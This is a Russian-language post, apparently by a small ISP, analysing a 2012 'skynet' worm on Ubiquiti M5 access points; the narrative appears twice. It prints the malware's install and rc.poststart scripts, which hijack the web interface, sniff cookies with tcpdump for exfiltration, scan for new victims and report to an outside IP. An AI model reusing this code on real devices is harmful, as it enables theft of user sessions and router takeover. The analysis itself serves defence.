Я, небольшой провайдер. Держу при себе примерно 500 точек nanostation locoM5 и пару десятков rocketM5.
13 сентября (256-й день) 2012 года — возникла глобальная проблема в моей сети wifi.
В определенный момент точки доступа просто выключались, а в логах промелькивал /etc/rc.d/rc stop
Стало интересно, кто же запустил эту команду, ведь пароли очень не простые, примерно такого содержания .
Было предпринято решение обновить прошивку на самую свежую. Скачав с сайта ubnt.com последний релиз прошивки и успешно ее залив на девайс rocketM5 пеерстал работать lighthttpd сервер. Старнно было такое наблюдать, но он выругивался на файл с настройками lighthttpd.conf
Прочитав содержимое файла нашел некие строчки с пугающей надписью skynet:
Вирус подменил каталог документов на http, а именно построил свой интерфейс усправления.
вот так выглядит эксплоит:

В нем возможны любые изменения, в том числе загрузка\выгрузка документов.
Ищем дальше…
Переходим в каталог /etc/persistent/.skynet
Находим большой список файлов, и наш подменянный admin.cgi
Из этого списка нас интересуют:
get get_rep get_rep2 head install post post_file post_file_rep post_rep post_rep2 scan send sendcook skynet.tgz
Оказывается поставить вирус под Linux UBNT-C26 2.6.15-5.2 можно только через install, жаль не нашел readme
Собственно видим редактирование файлов adm*, получая 404.
Едем дальше у вкусному, файл rc.poststart
В остальных скриптах идет отправка данных, ничего интересного.
Лечится все довольно просто, ubnt выпустила java утилиту, найти ее можно на форуме ubnt.
Утилита имеет 3 режима: поиск\поиск+лечение\поиск+лечение+прошивка (надеюсь стабильная)
Просканировав всю сеть — обнаружил 70% объектов.
Мои пользователи не пострадали, ведь отправить данные skynet не смог, не было ppp0 соединнеия на железках.
Спасибо за уделеное мне время.
13 сентября (256-й день) 2012 года — возникла глобальная проблема в моей сети wifi.
В определенный момент точки доступа просто выключались, а в логах промелькивал /etc/rc.d/rc stop
Стало интересно, кто же запустил эту команду, ведь пароли очень не простые, примерно такого содержания .
Было предпринято решение обновить прошивку на самую свежую. Скачав с сайта ubnt.com последний релиз прошивки и успешно ее залив на девайс rocketM5 пеерстал работать lighthttpd сервер. Старнно было такое наблюдать, но он выругивался на файл с настройками lighthttpd.conf
Прочитав содержимое файла нашел некие строчки с пугающей надписью skynet:
XM.v5.2.1# cat /etc/lighttpd.conf
server.document-root = "/etc/persistent/.skynet"
include "/usr/etc/lighttpd/modules.conf"
include "/usr/etc/lighttpd/mimetypes.conf"
include "/usr/etc/lighttpd/lighttpd.conf"
airos.session-timeout = 900
server.port = 80
Вирус подменил каталог документов на http, а именно построил свой интерфейс усправления.
вот так выглядит эксплоит:

В нем возможны любые изменения, в том числе загрузка\выгрузка документов.
Ищем дальше…
Переходим в каталог /etc/persistent/.skynet
Находим большой список файлов, и наш подменянный admin.cgi
XM.v5.2.1# ls
100913.1802 dhcpc.cgi ipscan.cgi poll.cgi slider-min.js.gz style.css.gz
English.txt dhcpc.js jquery-ui.css port_forward.cgi slink.js support.cgi
adm.cgi dhcpc.js.gz jquery-ui.css.gz post slink.js.gz survey.cgi
admin.cgi dhcpcinfo.cgi js post_file sorttable.js survey.css
admin2.cgi discard.cgi jsl10n.cgi post_file_rep sorttable.js.gz survey.json.cgi
admina.cgi favicon.ico jsval.js post_rep speedtest.css system.cgi
advanced.cgi firewall.cgi jsval.js.gz post_rep2 sptest.cgi system.js
airmax.cgi fw.cgi language.cgi pppinfo.cgi sptest.js system.js.gz
airview.cgi fwflash.cgi leases.cgi progress.js sptest.js.gz test.cgi
airview.jar.pack.gz get lib progress.js.gz sptest_action.cgi testdone.cgi
airview.jnlp get_rep link.cgi pstt sroutes.cgi throughput.cgi
ajax.js get_rep2 log.cgi reboot.cgi sshd-authkeys.cgi throughput.js
ajax.js.gz head login.cgi reset.cgi sta.cgi throughput.js.gz
apply.cgi help login.css routes.cgi stainfo.cgi ticket.cgi
arp.cgi help.css logo.cgi scan stainfo.js tool.cgi
blank.html help.js logout.cgi scan_channels.cgi stainfo.js.gz traceroute.cgi
bluecurve.css help.js.gz network.cgi send stakick.cgi traceroute.css
boxsizing.htc images network.js sendcook stalist.cgi traceroute.js
brmacs.cgi index.cgi network.js.gz services.cgi stalist.js traceroute.js.gz
cfg.cgi index.html pfw.cgi signal.cgi stalist.js.gz traceroute_action.cgi
config.cgi index.js pingtest.cgi signal.js status-403.html tt
cookies index.js.gz pingtest.css signal.js.gz status-404.html tt2
deployJava.js info.cgi pingtest.js signal_gui.cgi status-500.html upgrade.cgi
deployJava.js.gz install pingtest.js.gz skynet.tgz status.cgi util.js
deployJava.txt ipalias.cgi pingtest_action.cgi slider-min.js style.css util.js.gz
Из этого списка нас интересуют:
get get_rep get_rep2 head install post post_file post_file_rep post_rep post_rep2 scan send sendcook skynet.tgz
Оказывается поставить вирус под Linux UBNT-C26 2.6.15-5.2 можно только через install, жаль не нашел readme
XM.v5.2.1# cat install
cd /etc/persistent/.skynet
mv /etc/persistent/skynet.tgz .
mv rc.poststart /etc/persistent
ln -s /usr/www/* ./
mv admin.cgi admin2.cgi
mv admina.cgi admina2.cgi
echo "404 Not found" > admin.cgi
echo "404 Not found" > adm.cgi
echo "404 Not found" > admina.cgi
cfgmtd -w -p /etc/
reboot
Собственно видим редактирование файлов adm*, получая 404.
Едем дальше у вкусному, файл rc.poststart
#!/bin/sh
sed -i 's/\/usr\/www/\/etc\/persistent\/.skynet/g' /etc/lighttpd.conf
kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`
ip=`ifconfig ath0 | grep inet | sed "s/.*inet addr:\([^ ]*\).*/\1/g"`
#sleep 60 && trigger_url http://178.216.144.75/probe.cgi/.gif?ip=$ip &
if [ -e /bin/tcpdump ]; then
tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persistent/.skynet/tt &
/etc/persistent/.skynet/sendcook &
fi
(sleep 20 ; /etc/persistent/.skynet/scan) &
(sleep 100400 ; sleep 42 ; halt) &
В остальных скриптах идет отправка данных, ничего интересного.
Лечится все довольно просто, ubnt выпустила java утилиту, найти ее можно на форуме ubnt.
Утилита имеет 3 режима: поиск\поиск+лечение\поиск+лечение+прошивка (надеюсь стабильная)
Просканировав всю сеть — обнаружил 70% объектов.
Мои пользователи не пострадали, ведь отправить данные skynet не смог, не было ppp0 соединнеия на железках.
Спасибо за уделеное мне время.